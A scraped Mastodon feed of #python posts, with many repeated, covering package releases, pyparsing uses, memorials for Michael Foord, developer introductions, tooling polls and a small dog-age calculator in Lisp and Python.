https://pypi.org/project/ciscoconfparse2/
- moto is a mocking package for AWS boto API, using pyparsing for an internal infix notation parser
https://github.com/getmoto/moto
- Pegasus SaaS application builder uses pyparsing internally
https://docs.saaspegasus.com/
- EasyABC is an editor for the ABC music notation language
https://github.com/jwdj/EasyABC
@ptmcg@fosstodon.org
Pyparsing sightings - some recent posts/pages using pyparsing (1/2):
- Pyparsing is embedded as a parsing engine for Juniper Networks Junos PyEZ automation environment for smart devices.
https://www.juniper.net/documentation/us/en/software/junos-pyez/junos-pyez-developer/junos-pyez-developer.pdf
- Pyparsing included in the examples for the Python Packaging User Guide.
https://packaging.python.org/en/latest/guides/licensing-examples-and-user-scenarios/
- Papercrawler uses pyparsing to extract metadata from published papers, journals, and conference proceedings.
https://github.com/sucv/paperCrawler
@qiita@rss-mstdn.studiofreesia.com
MCP (Model Context Protocol) の仕組みを知りたい!
https://qiita.com/megmogmog1965/items/79ec6a47d9c223e8cffc?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@kushal@toots.dgplug.org
Writing cross platform #desktop #application is a story, but packaging it properly for users is mostly crying. #python
@itamarst@hachyderm.io
Looking at PyPI download stats and Google Trends, it seems like Pipenv still has a very significant user base, albeit a stable one. But my sense of the zeitgeist is that it's not being adopted for new projects as much. What's your sense?
@itamarst@hachyderm.io
Looking at PyPI download stats and Google Trends, it seems like Pipenv still has a very significant user base, albeit a stable one. But my sense of the zeitgeist is that it's not being adopted for new projects as much. What's your sense?
@Cs137@chaos.social
Last week I reported about some #pandas accesors I released (#UnPaAc, #NuPaAc). Over the weekend, I thought about a generic approach to making class methods and properties available via series accessors, and wrote a prototype. I stuck to my naming pattern and called it "Dynamic Pandas Accessors" #DynPaAc.
I was curious what other users thought of it, so I published it on #PyPI. It should be useful in #DataScience and for #python #developers.
🔗 https://codeberg.org/Cs137/DynPaAc
Feedback appreciated 🙂
@jenesuispersonne@piaille.fr
Bon aller, je tente une #introduction formelle.
Donc moi c'est Chloé, trans MtoF en évolution lennnnte (et non, je ne l'ai pas découvert il y a 3 mois, mais bien il y a 35 ans).
Comme avec ma génération il n'y avait *aucune* information sur la transidentité (rappel, le web n'existait pas); J'ai appris à me détester en interne et accepter cette enveloppe honnis comme identité publique.
Donc le mégenrrage, l'appel par le dead-name, ça m'ennuie fort, mais j'en fait pas un drame.
J'orbite dans le développement logiciel (pas front), #fosdem , #python , #c++ .
En ajoutant une pointe de SCRUM master et de manager.
J'aime lire, la randonné, courir.
Voila
@qiita@rss-mstdn.studiofreesia.com
uvとPyO3でPythonからRustを呼ぶ①(プロジェクト作成・Hello World実行まで)
https://qiita.com/nukipei/items/f096a1df6c8074b16150?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@qiita@rss-mstdn.studiofreesia.com
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@jleigh@recurse.social
Hey all! I'm due for an (re-)introduction: I'm Jack, an engineer in the NYC area from a firmware & cybersecurity background, currently working in something like hardware-software co-design.
Technical work is often with #rust #kicad #python #verilog #c, and in all-too-rare moments stuff like #haskell #forth #agda and #prolog
I've never been much for social media, usually preferring to keep interests local: a better-detailed #introduction to follow as I figure this out 🙂
@qiita@rss-mstdn.studiofreesia.com
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@akuchling@dmv.community
RIP to Python core developer Michael Foord, who wrote & maintained the unittest.mock module, and suggested holding the Language Summits, which have ever since been an annual event at PyCon US.
Memorial thread on discuss.python.org: https://discuss.python.org/t/in-memoriam-michael-foord-1974-2025/78317
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
初学者向け:PythonとLINE Notifyで環境構築からトークン取得まで、簡単にLINE通知機能を実装してみた
https://qiita.com/free-honda/items/8c5c3ec4cdb6ad6a5107?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@chrism@chattingdarkly.org
This hits pretty hard. Python's Michael Foord (developer of mock, and many other things, and a solid person) has died.
#python
@brianokken@fosstodon.org
Goodbye Michael Foord.
You will be missed.
- Nice write up by Nicholas Tollervey: https://ntoll.org/article/my-friend-michael/
- 2021 interview with him: https://testandcode.com/episodes/145-for-those-about-to-mock-michael-foord
@oj@masto.es
Aunque llevo años por aquí, ésta es mi #presentación.
Soy ingeniero de software con +20 años programando en #PHP, haciendo mis pinitos en #NodeJS, #Python y #Golang, y trabajo en remoto desde 2007.
Escribí durante años en blogs profesionales (e incluso un libro), empecé en el #podcasting en el 2007 con @kafelog y madrugo para ir a hacer #fitboxing.
Me gusta la tecnología, comer bien, el café, el vermú, la ciencia ficción, el terror cósmico y las zapatillas.
¡Hola! 👋🏻
@sabrinaingermany@social.tchncs.de
Hallo! Ich lerne Deutsch und Python (101 haha) und möchte beides verbessern. Hat jemand eine Empfehlung für Ressourcen für mich? Zum Beispiel w3schools, aber auf Deutsch? Dankeschön! #Python
@sabrinaingermany@social.tchncs.de
Hallo! Ich lerne Deutsch und Python (101 haha) und möchte beides verbessern. Hat jemand eine Empfehlung für Ressourcen für mich? Zum Beispiel w3schools, aber auf Deutsch? Dankeschön! #Python
@ambv@mastodon.social
It's been a while, huh? The core․py podcast is back with an episode about reference counting! 🎙️
I know y'all are waiting for the GC episode but we need to eat the veggies first. Pablo and I hope it's fun anyway. We bet it is! 🍀
#Python #Podcast #Betting #TotallyLegal
https://creators.spotify.com/pod/show/corepy/episodes/Episode-18-Reference-Counting-e2tuqnq
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@itamarst@hachyderm.io
So there was a time when if you wanted compiled extensions in your Python project, but you didn't want to install a _package_, you'd have a setup.py, and you'd do:
python setup.py build_ext -i
Thing is, calling setup.py directly is now deprecated.
Is there any way to do the above that isn't calling setup.py? I've seen a suggestion of calling setuptools internal API directly, which ... ok, I guess. But wondering what people do in practice. Just make everything compiled an installable package?
"pip install -e ." is not equivalent! E.g. if you're using setuptools-rust it will build in non-release mode.
EDIT: To clarify, what are people using setuptools doing? I understand other tools may have options for this.
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 23, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/23-readings_shared_01-23-25 #ITP #IsabelleHOL #LeanProver #Python #Programming #Math #AI #LLMs
@sc0v0ne@mastodon.social
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://linuxcommand.org/tlcl.php
- https://bmansoori.ir/book/Linux%20for%20Beginners%20by%20Jason%20Cannon%20.pdf
- https://flaviocopes.pages.dev/books/linux-commands-handbook.pdf
- http://kroah.com/lkn/
- https://linuxfromscratch.org/lfs/downloads/stable/LFS-12.2-SYSV-BOOK.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #linux #popos #mint #deno #node #ubuntu
@sc0v0ne@mastodon.social
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf
- https://lamed-oti.com/school/rl/os/linux_unix/Korn%20Shell%20User%20and%20Programming%20Manual.pdf
- https://theswissbay.ch/pdf/Books/Computer%20science/O%27Reilly/ten-steps-to-linux-survival.pdf
- https://drago1234.github.io/Surviving_kits/data/2021_summer/Linux-101-Hacks.pdf
- https://idris.lecturer.pens.ac.id/files/kon_jarkom/Teach%20Yourself%20Shell%20Programming%20in%2024%20Hours.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #huggingface #linux #popos #mint #deno #node #ubuntu
@sc0v0ne@mastodon.social
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf
- https://lamed-oti.com/school/rl/os/linux_unix/Korn%20Shell%20User%20and%20Programming%20Manual.pdf
- https://theswissbay.ch/pdf/Books/Computer%20science/O%27Reilly/ten-steps-to-linux-survival.pdf
- https://drago1234.github.io/Surviving_kits/data/2021_summer/Linux-101-Hacks.pdf
- https://idris.lecturer.pens.ac.id/files/kon_jarkom/Teach%20Yourself%20Shell%20Programming%20in%2024%20Hours.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #huggingface #linux #popos #mint #deno #node #ubuntu
@sc0v0ne@mastodon.social
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://linuxcommand.org/tlcl.php
- https://bmansoori.ir/book/Linux%20for%20Beginners%20by%20Jason%20Cannon%20.pdf
- https://flaviocopes.pages.dev/books/linux-commands-handbook.pdf
- http://kroah.com/lkn/
- https://linuxfromscratch.org/lfs/downloads/stable/LFS-12.2-SYSV-BOOK.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #linux #popos #mint #deno #node #ubuntu
@Jose_A_Alonso@mathstodon.xyz
Advanced Python course. ~ Michael Foord. https://agileabstractions.com/advanced-python-course/ #Python #Programming
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 22, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/22-readings_shared_01-22-25 #ITP #IsabelleHOL #Coq #Rocq #LeanProver #FunctionalProgramming #Haskell #Python #Math #AI
@itamarst@hachyderm.io
TIL that the `uv pip install` is partially faster because it doesn't compile the bytecode for Python packages it installs.
Specifically, it has the opposite behavior of `pip install`: you can ask for byte compilation, it's opt-in rather than pip's opt-out. It actually uses more CPU than pip when you do bytecode compilation! Still faster on my computer cause I have lots of CPUs, but in CI it'd be slower I suspect.
Lack of bytecode compilation means slightly slower startup the first time you run the program (or _every_ time if you're using a Docker image and didn't opt-in to bytecode compile). Probably still worth it given how much faster uv is in other ways.
@itamarst@hachyderm.io
TIL that the `uv pip install` is partially faster because it doesn't compile the bytecode for Python packages it installs.
Specifically, it has the opposite behavior of `pip install`: you can ask for byte compilation, it's opt-in rather than pip's opt-out. It actually uses more CPU than pip when you do bytecode compilation! Still faster on my computer cause I have lots of CPUs, but in CI it'd be slower I suspect.
Lack of bytecode compilation means slightly slower startup the first time you run the program (or _every_ time if you're using a Docker image and didn't opt-in to bytecode compile). Probably still worth it given how much faster uv is in other ways.
@Jose_A_Alonso@mathstodon.xyz
@mapache@hachyderm.io · Reply to Charlie's post
@cdp1337 @blog I would love to see https://github.com/mahomedalid/almost-static-activitypub implemented in #python
On purpose I did not name the project almost-static-activitypub-dotnet, because I really want to have different implementations there.
So, if you are up to the task, I would gladly help.
@SnoopJ@hachyderm.io
#Python developers, please.
I am BEGGING you.
PLEASE, do not ever automatically "fix" a problem by invoking pip. Give me an error message and suggest a command to me, if you think that command is appropriate.
I cannot overstate how badly this well-meaning but extremely poorly-implemented idea goes wrong when it does go wrong.
@FLOZz@mastodon.social
Salut tout le monde o/
Je suis développeur, principalement #Python, #JavaScript et parfois C et ASM (surtout sur #GameBoy). Je suis aussi adminsys #Linux.
Je dev pas mal de logiciels libres et #OpenSource. Ça va de l'outil de configuration de souris gaming au générateur de playlist en passant par de l'optimisation d'images ou du shell PHP *hum*…
J'ai également un blog sur lequel je poste surtout du contenu technique mais j'aimerais bien diversifier un peu les sujets à l'avenir.
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Primos consecutivos con media capicúa. https://jaalonso.github.io/exercitium/posts/2025/01/20-primos_consecutivos_con_media_capicua/ #Haskell #Python #Matemáticas
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@nogajun@mastodon.social
Pelican用のActivityPubプラグインを作っている人がいた。動かないよと書いているけど、ベースがあるだけでも助かる #python #pelican #activitypub
schtobia/pelican-plugin-activitypub: Experimental readonly ActivityPub endpoint for Pelican - schtobia's Forgejo: https://git.schmidl.dev/schtobia/pelican-plugin-activitypub
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 18, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/18-readings_shared_01-18-25 #Haskell #Python #CommonLisp #ITP #Coq #Rocq #Logic #Math #AI #MachineLearning #LLMs
@nedbat@hachyderm.io
In #Python, @classmethod can used to create alternate constructors for making objects in other ways. Here's a simple example:
@ptmcg@fosstodon.org
Some things I'm especially proud of in plusminus (my Python package for parsing and evaluating infix notation arithmetic):
- |absolute value| expressions
- ° symbol as a unary postfix operator, to convert degrees to radians: sin(π/2) vs. sin(90°)
- exponents ² and ³
- √ and ³√ operators (both unary and binary, so you can write 2√2)
- mathematical constants e, π, φ, and τ
- set operators ∈, ∉, ∩, and ∪
- safe eval of untrusted inputs
Try it at https://ptmcg.pythonanywhere.com/plusminus
#python #parsing #infix
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 17, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/17-readings_shared_01-17-25 #Haskell #Python #ITP #Coq #Rocq #LeanProver #Logic #Math #AI #LLMs #Reasoning
@veronica@mastodon.online
Windows C++ devs:
My main project is a Python + Qt GUI application. Distributing that as-is on Linux is easy. On Windows, a little trickier.
What I do now is distribute it with Python embeddable and pure Python code. That's fine, but it makes the launching a little tricky.
I'm currently trying to create a trivial C++ exec that just launches the correct files via CreateProcess().
Does this sound like a good idea? Code linked below.
https://github.com/vkbo/novelWriter/tree/windows_launcher/launcher/windows
@veronica@mastodon.online
Windows C++ devs:
My main project is a Python + Qt GUI application. Distributing that as-is on Linux is easy. On Windows, a little trickier.
What I do now is distribute it with Python embeddable and pure Python code. That's fine, but it makes the launching a little tricky.
I'm currently trying to create a trivial C++ exec that just launches the correct files via CreateProcess().
Does this sound like a good idea? Code linked below.
https://github.com/vkbo/novelWriter/tree/windows_launcher/launcher/windows
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Determinación de los elementos minimales. https://jaalonso.github.io/exercitium/posts/2025/01/17-elementos_minimales/ #Haskell #Python #DíaInternacionalDeLasMatemáticas
@FlohEinstein@chaos.social
Python, meet Shakespeare
@FlohEinstein@chaos.social
Python, meet Shakespeare
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 16, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/16-readings_shared_01-16-25 #ITP #LeanProver #Agda #Logic #Math #SAT #SMT #FunctionalProgramming #Haskell #Python #Matemáticas #AI #LLMs
@alltechpacks@mastodon.social
@alltechpacks@mastodon.social
@qiita@rss-mstdn.studiofreesia.com
@rogeliop@techhub.social
That's why I only program in BASIC, Logo, Pascal, FORTH, straight C (no fancy # nor ++), 6809ASM... it's less stressful 😁
@rogeliop@techhub.social
That's why I only program in BASIC, Logo, Pascal, FORTH, straight C (no fancy # nor ++), 6809ASM... it's less stressful 😁
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Suma de los números amigos menores que n. https://jaalonso.github.io/exercitium/posts/2025/01/16-suma_de_numeros_amigos_menores_que_n/ #Haskell #Python #Matemáticas
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Sucesión de números amigos. https://jaalonso.github.io/exercitium/posts/2025/01/15-sucesion_de_numeros_amigos/ #Haskell #Python #Matemáticas
@nicholasr@mastos.online
@FemmeNoire@chaos.social
Liebe Leute, der Mann ist aktuell auf #Jobsuche.
Er sucht etwas als (Senior) #Backend #Software #Entwickler bzw. #Developer oder #Architekt.
32h pro Woche bei 4 Tagen, Techstack #Java und #Python, #hybrid (50:50 Office:HO) in #München.
Auf diversen Plattformen sind wir bereits unterwegs, aber vielleicht gibt's ja Stellen, die nicht darüber zu finden sind.
Gerne teilen bzw. mir was drunter posten
da er selbst kein Interesse an Social Media hat.
@FemmeNoire@chaos.social
Liebe Leute, der Mann ist aktuell auf #Jobsuche.
Er sucht etwas als (Senior) #Backend #Software #Entwickler bzw. #Developer oder #Architekt.
32h pro Woche bei 4 Tagen, Techstack #Java und #Python, #hybrid (50:50 Office:HO) in #München.
Auf diversen Plattformen sind wir bereits unterwegs, aber vielleicht gibt's ja Stellen, die nicht darüber zu finden sind.
Gerne teilen bzw. mir was drunter posten
da er selbst kein Interesse an Social Media hat.
@jshaffstall@mastodon.social
I do some consulting on the side, and a fun bit of a recent project was to use pyparsing in Python to evaluate an algebraic expression that could include dice and variables. So 2+3d6-sin(foo^2) would be a valid expression that should produce a result (assuming that foo contained a value). That was my first time with pyparsing, and it was a joy to work with.
@veer66@vivaldi.net
added __post_init__ with a validator to a dataclass.
context: this project doesn't use SQLAlchemy.
It looks nice.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0a4 🚀
https://discuss.python.org/t/python-3-14-0-alpha-4/77112
https://docs.python.org/3.14/whatsnew/3.14.html
Here's one amazing reason to try it out! 🗓️🎨
@glyph@mastodon.social
Surprise! I will be streaming some Python programming over at <https://www.twitch.tv/glyph_official/> in a little over 30 minutes. We are all gonna take a couple hours to STOP getting mad and depressed at recent events and START getting mad and depressed about cross-platform GUI #python development
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@rimu@mastodon.nzoss.nz
@rimu@mastodon.nzoss.nz
@nedbat@hachyderm.io
Comparison operators in #Python can be chained together, but using them that way could be controversial. I wrote this this other day:
@deoxys314@ohai.social
Due to the impending shutdown of my old server, I'm moving here from my account @deoxys314@neovibe.app. And so a new #Introduction is in order! I'm a software developer with a degree in #Geology and #GIS. I mostly work in #Python and #CPlusPlus. My personal interests include #Dinosaurs (#Stegosaurus is my favorite), #LEGO, #mtg, #MagicTheGathering, #Math, #cooking and #Reading, to name a few.
I have some old posts I'll bring over here, mostly longer threads that are worth preserving.
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
@peterrenshaw@ioc.exchange · Reply to wraptile's post
@wraptile I tried bottle, Flask is a POS. The sample code & libs do not work. I now avoid it and use #Deno instead.
When #AppEngine cost more than $10 and required more API changes (data api) I wrote my own static #HTML engine based on #Jeckyl (#Python) and when the compile times blew out re-wrote it in #Rust.
Static HTML is the fastest & pretty much hack proof. cc @bluetea
@astraluma@tacobelllabs.net
Hey, #Python, how do you manage your venvs?
Feel free to discuss in the comments how I categorized these tools.
EDIT: I forgot to include "idk, my IDE just does it"
Option | Voters |
---|---|
Manually: python -m venv | 45 (52%) |
Semi-Manual: uv, virtualenvwrapper, direnv, etc | 13 (15%) |
Automatic: pipenv, poetry, pdm, etc | 22 (26%) |
Other | 6 (7%) |
@astraluma@tacobelllabs.net
Hey, #Python, how do you manage your venvs?
Feel free to discuss in the comments how I categorized these tools.
EDIT: I forgot to include "idk, my IDE just does it"
Option | Voters |
---|---|
Manually: python -m venv | 45 (52%) |
Semi-Manual: uv, virtualenvwrapper, direnv, etc | 13 (15%) |
Automatic: pipenv, poetry, pdm, etc | 22 (26%) |
Other | 6 (7%) |
@qiita@rss-mstdn.studiofreesia.com
Pydantic入門 – Pythonでシンプルかつ強力なバリデーションを始めよう
https://qiita.com/Tadataka_Takahashi/items/8b28f49d67d7e1d65d11?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@astraluma@tacobelllabs.net
Hey, #Python, how do you manage your venvs?
Feel free to discuss in the comments how I categorized these tools.
EDIT: I forgot to include "idk, my IDE just does it"
Option | Voters |
---|---|
Manually: python -m venv | 45 (52%) |
Semi-Manual: uv, virtualenvwrapper, direnv, etc | 13 (15%) |
Automatic: pipenv, poetry, pdm, etc | 22 (26%) |
Other | 6 (7%) |
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 10, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/10-readings_shared_01-10-25 #ITP #LeanProver #Logic #Math #Haskell #Python #ASP #LogicProgramming #AI #NeuroSymbolicAI #LLMs
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Máxima suma de caminos en un triángulo. https://jaalonso.github.io/exercitium/posts/2025/01/10-maxima_suma_de_caminos_en_un_triangulo/ #Haskell #Python #Matemáticas
@ramgarlic@fosstodon.org
I used a micro:bit to build a speed monitor for H0-scale model trains. It's programmed in #micropython.
Today I wrote the calibration code, which gives instant feedback when aiming the lasers at the light sensors.
@ramgarlic@fosstodon.org
I used a micro:bit to build a speed monitor for H0-scale model trains. It's programmed in #micropython.
Today I wrote the calibration code, which gives instant feedback when aiming the lasers at the light sensors.
@mahryekuh@fosstodon.org
People are now confessing to editor light theme preferences en masse at the Python Office Hours. 😱
@athoune@mastodon.xyz
Avis aux pythonistes en herbe, voici une initiation à #Pyxel, framework #Python pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.
Un éditeur de média est fourni.
Le moteur en #rust assure la fluidité, et l'API python est minimaliste.
Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec #wasm
@qiita@rss-mstdn.studiofreesia.com
【🚨無職発生注意報🚨】ヒトはこうして仕事を奪われる~Browser Use Tutorial~
https://qiita.com/Nicola_GenAI/items/f8585cbc4266656cdbb8?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@Jose_A_Alonso@mathstodon.xyz
@jshaffstall@mastodon.social
I do some consulting on the side, and a fun bit of a recent project was to use pyparsing in Python to evaluate an algebraic expression that could include dice and variables. So 2+3d6-sin(foo^2) would be a valid expression that should produce a result (assuming that foo contained a value). That was my first time with pyparsing, and it was a joy to work with.
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@malemburg@mastodon.social
We are having our next Python Meeting Düsseldorf on 2025-01-22. If you happen to be in or near Düsseldorf, Germany, we'd love to have you join.
Here's the Meetup page with the details and registration: https://www.meetup.com/python-meeting-dusseldorf/events/304247408/
@malemburg@mastodon.social
We are having our next Python Meeting Düsseldorf on 2025-01-22. If you happen to be in or near Düsseldorf, Germany, we'd love to have you join.
Here's the Meetup page with the details and registration: https://www.meetup.com/python-meeting-dusseldorf/events/304247408/
@qiita@rss-mstdn.studiofreesia.com
@wagtail@fosstodon.org
@Jose_A_Alonso@mathstodon.xyz
ChatGPT: Cómo hacer (y mejorar) mi Trabajo de Fin de Carrera de la Universidad en un par de minutos. ~ Chema Alonso. https://www.elladodelmal.com/2025/01/chatgpt-como-hacer-mi-mejorar-mi.html #ChatGPT #Python #Programming
@wagtail@fosstodon.org
@ksaj@infosec.exchange
WARNING: Awesome code follows
I just read there is a more accurate way to calculate a dog's age in human years than simply multiplying by 7 (which does produce a lot of oddities, especially when it comes to dogs giving birth at "7" years old lol). The progression through the first, second and then subsequent years are handled in a manner that is much closer to how dogs typically age compared to humans.
Here are #lisp and #python functions demonstrating the new calculations. Feel free to use them as you wish. Especially if you have one or more dogs.
Feel free to improve or comment on the code in the comments or elsewhere. I always post these kinds of functions for conversation and community, I'm just learning python, so don't bark too loudly.
The formats are:
(dogs-age years months)
and
dogs_age(years, months)
There is no error checking, so use zeros when necessary.
Don't be strangers. Shake a paw!
(defun dogs-age (years months)
"Calculate the human age equivalent of a dog given its age in years and months."
(let ((human-age 0))
(cond
((< years 1)
(setq human-age (* (/ months 12.0) 15)))
((= years 1)
(setq human-age (+ 15 (* (/ months 12.0) 9))))
((>= years 2)
(setq human-age (+ 15 9
(* (- years 2) 5)
(* (/ months 12.0) 5)))))
human-age))
def dogs_age(years, months):
"""
Calculate the human age equivalent of a dog given its age in years and months.
"""
if years < 1:
human_age = months * (15 / 12)
elif years == 1:
human_age = 15 + months * (9 / 12)
else:
human_age = 15 + 9 + (years - 2) * 5 + months * (5 / 12)
return human_age
Hey, @praetor you might be interestd in this, even if it isn't about cats. If you change the subsequent years from 5 to 4, it'll work for cats just the same, apparently.
@ambv@mastodon.social
#genuary6 prompt: A landscape using only primitive shapes.
This is an evolution of my "42 lines of code" entry from Jan 3rd. This one's well over 200 lines of code.
Made with #PyScript:
https://ambv.pyscriptapps.com/genuary-prompt-6/latest/
#genuary2025 #genuary #GenerativeArt #CreativeCoding #WebGL #Python
@ambv@mastodon.social
#genuary6 prompt: A landscape using only primitive shapes.
This is an evolution of my "42 lines of code" entry from Jan 3rd. This one's well over 200 lines of code.
Made with #PyScript:
https://ambv.pyscriptapps.com/genuary-prompt-6/latest/
#genuary2025 #genuary #GenerativeArt #CreativeCoding #WebGL #Python
@peterrenshaw@ioc.exchange · Reply to wraptile's post
@wraptile I tried bottle, Flask is a POS. The sample code & libs do not work. I now avoid it and use #Deno instead.
When #AppEngine cost more than $10 and required more API changes (data api) I wrote my own static #HTML engine based on #Jeckyl (#Python) and when the compile times blew out re-wrote it in #Rust.
Static HTML is the fastest & pretty much hack proof. cc @bluetea
@peterrenshaw@ioc.exchange · Reply to Tea and BlueTeam's post
@bluetea “Colophon Redux”
Back in 2008, I whipped up this site with two hundred line hack using a newly created web framework called web.py and a brand new google project, App Engine. From 2008 to today, that’s how #seldomlogical worked.
From the user perspective it looked like plain HTML pages being served. Behind the scenes, code read markdown and converted it to HTML.
❝ Every time my blog ran, a little bit of Aarons code would execute
This was prior to the various web frameworks for python we take for granted today. Web.py utilised WSGI and I chose googles new toy, GAE to run it.
#webpy / #python / #WSGI / #GAE / #aaronswartz / #AppEngine / <https://seldomlogical.com/redux.html>
@leonardr@wandering.shop
I've published Beautiful Soup 4.13.0b3 to PyPI. I'm hoping to get another round of feedback before the final release, which I'm targeting for early February. Details: https://groups.google.com/g/beautifulsoup/c/cX5m7s8v9TM #Python
pip install beautifulsoup4==4.13.0b3
@leonardr@wandering.shop
I've published Beautiful Soup 4.13.0b3 to PyPI. I'm hoping to get another round of feedback before the final release, which I'm targeting for early February. Details: https://groups.google.com/g/beautifulsoup/c/cX5m7s8v9TM #Python
pip install beautifulsoup4==4.13.0b3
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 4, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/04-readings_shared_01-04-25 #ITP #IsabelleHOL #LeanProver #HOL_Light #Mizar #Math #Logic #Haskell #Python
@ptmcg@fosstodon.org · Reply to Paul McGuire's post
pyrac (https://ptmcg.pythonanywhere.com/pyrac) is my own #Python version of Racter, which was a crude prose generator from the early 80s (https://en.wikipedia.org/wiki/Racter). Racter composed this fragment as part of a larger story, "The Policeman's Beard is Half Constructed":
More than iron, more than lead, more than gold I need electricity.
I need it more than I need lamb or pork or lettuce or cucumber.
I need it for my dreams.
Originally offered as an AI, it is actually just a compositor with a rich set of templates.
@ptmcg@fosstodon.org
Earlier today I posted about a spoof site of mine on #pythonanywhere, 𝐹º𝑛t 𝘔ⅸᵉ𝐫, which converts identifiers in ASCII #Python to equivalent identifiers by randomly selecting Unicode points that normalize back to the original ASCII, and are therefore directly runnable, even though they look like a ransom note. Remember, builtins and all stdlib names can be denormalized this way.
I went to check the web logs, and found that someone found another PA site of mine, https://ptmcg.pythonanywhere.com/pyrac...
@clayote@peoplemaking.games
I am a #Python developer of a decade or so, with four years of data engineering experience on #AWS and #Azure, looking for work anywhere in #Aotearoa #NZ #NewZealand . Here is my CV: https://zacharyspector.com
@clayote@peoplemaking.games
I am a #Python developer of a decade or so, with four years of data engineering experience on #AWS and #Azure, looking for work anywhere in #Aotearoa #NZ #NewZealand . Here is my CV: https://zacharyspector.com
@qiita@rss-mstdn.studiofreesia.com
備忘録まとめ記事:頭の中のモヤモヤを整理し、AWS CDKでTypeScriptが主流な理由を考察してみた
https://qiita.com/free-honda/items/e27ce074d6a6b5206930?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@mgorny@treehouse.systems
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
ryeを使って、BoxのデータをS3に同期するバッチを作成する〜前編:rye導入編〜
https://qiita.com/y-mae/items/d6ef0bfa008f96e5ff75?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@rolle@mementomori.social
Coding daily nowdays even on holidays. So fun! Just released my 700th code repository:
wordpress-to-obsidian: https://github.com/ronilaukkarinen/wordpress-to-obsidian
A Python script to convert WordPress blog posts to Markdown files for @obsidian. The script fetches posts from WordPress RSS feeds and organizes them into a year/month folder structure.
